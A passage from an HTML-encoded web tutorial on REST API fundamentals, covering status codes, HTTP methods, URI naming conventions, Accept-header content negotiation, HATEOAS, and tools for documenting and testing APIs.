information to understand how to process it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Use of Hypermedia resources (HATEOAS):&lt;/strong&gt; the use of hyperlinks in the response that point to the related resources, so that the client can navigate the API from the responses it gets from the server.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Layered system:&lt;/strong&gt; In REST APIs, requests and responses go through different layers. The client and the server must be agnostic regarding the intermediary layers that exist between their communication.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Code on Demand (optional):&lt;/strong&gt; the server could send code, in the form of scripts or components, to extend the functionality of the client.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;If you want to delve deeper into each of these points, here are some resources that may be quite useful:&lt;/p&gt;&#xA;&lt;p&gt;In English:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Representational state transfer (inglés)&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://steveklabnik.com/writing/nobody-understands-rest-or-http&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Nobody understands REST&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;In Spanish, if you&amp;rsquo;re one of Duo&amp;rsquo;s friends:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.thedojo.mx/2019/06/15/entendiendo-rest-estilo-de-arquitectura.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Understanding REST. The Architecture Style&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.thedojo.mx/2019/05/06/diseno-y-desarrollo-de-una-api-desde-cero.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Designing and developing an API from scratch&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.thedojo.mx/2019/08/03/entendiendo-rest-servidor-sin-estado.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Understanding REST stateless server&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://blog.thedojo.mx/2019/10/27/entendiendo-rest-servicios-cacheables.html&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;Understanding REST cacheable services&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://www.ibm.com/mx-es/cloud/learn/rest-apis&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;REST Design Principles&lt;/a&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Having summarized the basic features, let&amp;rsquo;s move on to practical tips.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-are-the-correct-statuses-for-a-rest-api&#34;&gt;What are the correct statuses for a REST API?&lt;/h2&gt;&#xA;&lt;p&gt;Do not return a 200 code in all your API responses.&lt;/p&gt;&#xA;&lt;p&gt;As you know, each HTTP response has a numeric value that defines it, these values can be grouped in ranges from 100 to 600.&lt;/p&gt;&#xA;&lt;p&gt;Our API must return the correct statuses that tell the client what is happening.&lt;/p&gt;&#xA;&lt;p&gt;There are probably some states that you will never use, but you should memorize at least the most frequently used ones:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;200 OK&lt;/strong&gt;, status ok, the request was successful.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;201 Created&lt;/strong&gt;, a resource was created&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;204 No Content&lt;/strong&gt;, Request completed successfully, but there is no content in the request.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;301 Redirect&lt;/strong&gt;, Permanent redirect&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;302 Found&lt;/strong&gt;, temporary redirect&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;400 Bad Request&lt;/strong&gt;, server received a malformed request&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;401 Unauthorized&lt;/strong&gt;, you are not authenticated (no user)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;403 Forbidden&lt;/strong&gt;, you do not have the proper permissions (the user does not have the permissions)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;404 Not Found&lt;/strong&gt;, the requested resource was not found&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;500 Internal Server&lt;/strong&gt;, Error from the server&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;There are many more &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/es/docs/Web/HTTP/Status&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;HTTP statuses you probably want to know about&lt;/a&gt;&#xA;. Be sure to check them out.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/GoogleStatus418.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/GoogleStatus418.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Code 418 response in google.&#34; width=&#34;948&#34; height=&#34;502&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Code 418: I&amp;rsquo;m a teapot&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h3 id=&#34;returns-clear-messages-on-errors&#34;&gt;Returns clear messages on errors&lt;/h3&gt;&#xA;&lt;p&gt;When you return an error, make sure you notify your API user, in a clear and explicit way, about the errors and how to fix them.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{ &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;error&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Validation Error&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;code&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Error-0123&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;message&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;La contraseña debe tener más de 6 caracteres y contar con al menos un dígito&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;documentation_url&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://example.com/docs/errors/E-0123&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;use-the-appropriate-http-methods-for-a-rest-api&#34;&gt;Use the appropriate HTTP methods for a REST API&lt;/h2&gt;&#xA;&lt;p&gt;Do not limit yourself to receive only POST and GET requests in your API, there is a method for each action of a CRUD.&lt;/p&gt;&#xA;&lt;p&gt;The HTTP methods we receive as part of the HTTP request will indicate the instructions to be performed by the server.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;GET: Read a resource&lt;/li&gt;&#xA;&lt;li&gt;POST: Create a resource&lt;/li&gt;&#xA;&lt;li&gt;PUT: Create a new resource or update it if it already exists.&lt;/li&gt;&#xA;&lt;li&gt;PATCH: Edit a part of a resource&lt;/li&gt;&#xA;&lt;li&gt;DELETE: Delete a resource&lt;/li&gt;&#xA;&lt;li&gt;HEAD: Like GET but without getting the resource.&lt;/li&gt;&#xA;&lt;li&gt;OPTIONS: Ask the server for supported methods before making a request to them&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For details on each method consider reviewing the &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developer.mozilla.org/es/docs/Web/HTTP/Methods&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;official documentation on HTTP request methods&lt;/a&gt;&#xA;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;use-plural-nouns-not-verbs-for-uris&#34;&gt;Use plural nouns, not verbs for URIs.&lt;/h3&gt;&#xA;&lt;p&gt;A REST API is a representation of resources, so we always refer to objects, plural.&lt;/p&gt;&#xA;&lt;p&gt;Actions are specified in HTTP methods, so leave them out of your URIs.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# NOT REST ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/create-videogame &lt;span style=&#34;color:#78787e&#34;&gt;# This is not REST, but RPC ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;videogame/create &lt;span style=&#34;color:#78787e&#34;&gt;# This is not REST, but RPC ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;videogame/delete &lt;span style=&#34;color:#78787e&#34;&gt;# This is not REST, but RPC ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For the sake of clarity we will use the plural form of nouns to refer to resources.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# Incorrect, singular ❌&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;videogame &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# correct way ✅&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;videogames&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;avoid-underscores-and-always-use-lower-case&#34;&gt;Avoid underscores and always use lower case.&lt;/h2&gt;&#xA;&lt;p&gt;In Mark Masse&amp;rsquo;s &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://amzn.to/4gUr3Ht&#34; rel=&#34;noopener nofollow&#34; target=&#34;_blank&#34;&gt;Rest API Design Rulebook: Designing Consistent Restful Web Service Interfaces&lt;/a&gt;&#xA;, he states as a &amp;ldquo;rule&amp;rdquo; the use of lower case in URIs and encourages the avoidance of underscores, because some devices highlight clickable resources with underscores, which can make links difficult to see.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;VIDEOGAMES❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;popular_videogames❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;videogames✅&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;diagonal-at-the-end-or-not&#34;&gt;Diagonal at the end or not?&lt;/h2&gt;&#xA;&lt;p&gt;There are some mixed opinions on this.&lt;/p&gt;&#xA;&lt;p&gt;In the Rest API Design Rulebook: Designing Consistent Restful Web Service Interfaces, the use of a diagonal at the end of URls is strongly discouraged.&lt;/p&gt;&#xA;&lt;p&gt;Where does the diagonal at the end come from? Historically the non-diagonal version has been used to refer to files.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;videogames&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;While a diagonal at the end refers to directories.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;videogames/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;On the other hand, &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://developers.google.com/search/blog/2010/04/to-slash-or-not-to-slash&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;google is more permissive in its article slash or not to slash&lt;/a&gt;&#xA;. And it is totally indifferent towards the use or absence of the end diagonal, however it emphasizes the importance of remaining uniform in its use, since &lt;strong&gt;URLs with an end diagonal and without end diagonal are considered different URLs by search engines.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Pick one and stick to it. Consider using a redirect (301) from one type of url to another, but always be consistent.&lt;/p&gt;&#xA;&lt;h3 id=&#34;diagonal-at-the-end-in-the-root&#34;&gt;Diagonal at the end in the root&lt;/h3&gt;&#xA;&lt;p&gt;In the root address it does not matter if a diagonal is placed at the end.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;root URLs are treated as one by search engines, whether they are diagonal or not&lt;/strong&gt;, so make sure they return the same content.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://yourdomain.com/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;https://yourdomain.com&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;extensions-in-the-url-should-be-absent&#34;&gt;Extensions in the url should be absent&lt;/h2&gt;&#xA;&lt;p&gt;Do not use the URI to specify the type of resource requested by its extension. Remember that one thing is the resource itself and another is its representation.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/resource.txt❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/resource.json❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/resource.xml❌&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So how do I request a file type in a REST API?&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-customer-requests-the-type-of-representation-by-means-of-headers&#34;&gt;The customer requests the type of representation by means of headers.&lt;/h3&gt;&#xA;&lt;p&gt;The representation of the resource to be returned will depend on the &lt;em&gt;Accept&lt;/em&gt; header of the client, so we can return different types of representations of the same resource, in the same URI.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /v1/resource HTTP/1.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: api.example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;*GET /v1/resource HTTP/1.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host: api.example.org&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Accept: application/xml&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;hateoas-and-its-relationship-with-rest-apis&#34;&gt;HATEOAS and its relationship with REST APIs&lt;/h2&gt;&#xA;&lt;p&gt;HATEOAS stands for &lt;strong&gt;Hypermedia As The Engine Of Applicaton State&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;What is it? When you enter a web page, it has internal links to other pages of the website, usually related to each other, either video, audio, images, so that navigation is more fluid.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/HTTPHypermedia.jpg&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/HTTPHypermedia.jpg&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Screenshot of Travelling around with internal links&#34; width=&#34;971&#34; height=&#34;777&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Example of internal links in a web page&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;HATEOAS tells us that our clients should receive an API response from which they can access other related resources via hyperlinks.&lt;/p&gt;&#xA;&lt;p&gt;This does not necessarily mean a URL&amp;rsquo;s; it can be a file, an ftp or others. But yes, probably for practical purposes you will be using URL&amp;rsquo;s most of the time.&lt;/p&gt;&#xA;&lt;p&gt;In other words, &lt;strong&gt;our API must be navigable directly from a response, it should also show us available actions&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: 1,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Eduardo&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;lastname&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Zepeda&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;posts&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://api.example.org/post/1&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;post&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;http://api.example.org/post/2&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;how-to-document-your-rest-api&#34;&gt;How to document your REST API&lt;/h2&gt;&#xA;&lt;p&gt;Every API should be documented. Documentation should be clear and easy to understand. Fortunately, there are already solutions that save a lot of work, allowing you to document the most basic aspects of your API automatically.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;OpenAPI (Formerly Swagger)&lt;/li&gt;&#xA;&lt;li&gt;ReDoc&lt;/li&gt;&#xA;&lt;li&gt;Aglio&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Consider implementing them in your project.&lt;/p&gt;&#xA;&lt;p&gt;There are even &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/fastapi/fastapi-tutorial-the-best-python-framework/&#34;&gt;frameworks such as FastAPI that include the documentation by default in the projects&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/Documentacion_swagger.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/Documentacion_swagger.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Open API image capture, automatic documentation for REST API&#34; width=&#34;1487&#34; height=&#34;239&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Interface generated by Open API&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;h2 id=&#34;how-to-test-a-rest-api&#34;&gt;How to test a REST API?&lt;/h2&gt;&#xA;&lt;p&gt;Each endpoint of your API should be tested, make sure they return the correct status codes for each combination of HTTP method and user type (authenticated, anonymous, no permissions, etc.). For testing you can always rely on classic solutions such as HTTPie or Curl.&lt;/p&gt;&#xA;&lt;p&gt;On the other hand, if you want something more visual, more user-friendly, and easier to use, consider using specialized tools, such as Postman, Insomnia or Hoppscotch.&lt;/p&gt;&#xA;&lt;a hx-boost=&#34;false&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/InsomniaGUI.png&#34;&gt;&#xA;&lt;figure class=&#34;md-local-image&#34;&gt;&lt;img src=&#34;https://coffeebytes.dev/en/software-architecture/basic-characteristics-of-an-api-rest-api/images/InsomniaGUI.png&#34;&#xA;    loading=&#34;lazy&#34;&#xA;    alt=&#34;Insomnia GUI, a REST API testing application&#34; width=&#34;1271&#34; height=&#34;739&#34;&gt;&lt;figcaption&gt;&#xA;      &lt;p&gt;Insomnia GUI, API testing tool&lt;/p&gt;&#xA;    &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&lt;/a&gt;&#xA;&lt;p&gt;In order not to extend the post so much, the next post will deal with some more subjective &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/software-architecture/rest-api-best-practices-and-design/&#34;&gt;REST API design and best practices&lt;/a&gt;&#xA; questions such as: how to return JSON correctly? How much to nest an API? What are the ways to version an API?&lt;/p&gt;&#xA;&lt;h2 id=&#34;reference-sources&#34;&gt;Reference sources&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://github.com/WhiteHouse/api-standards&#34; rel=&#34;noopener&#34; 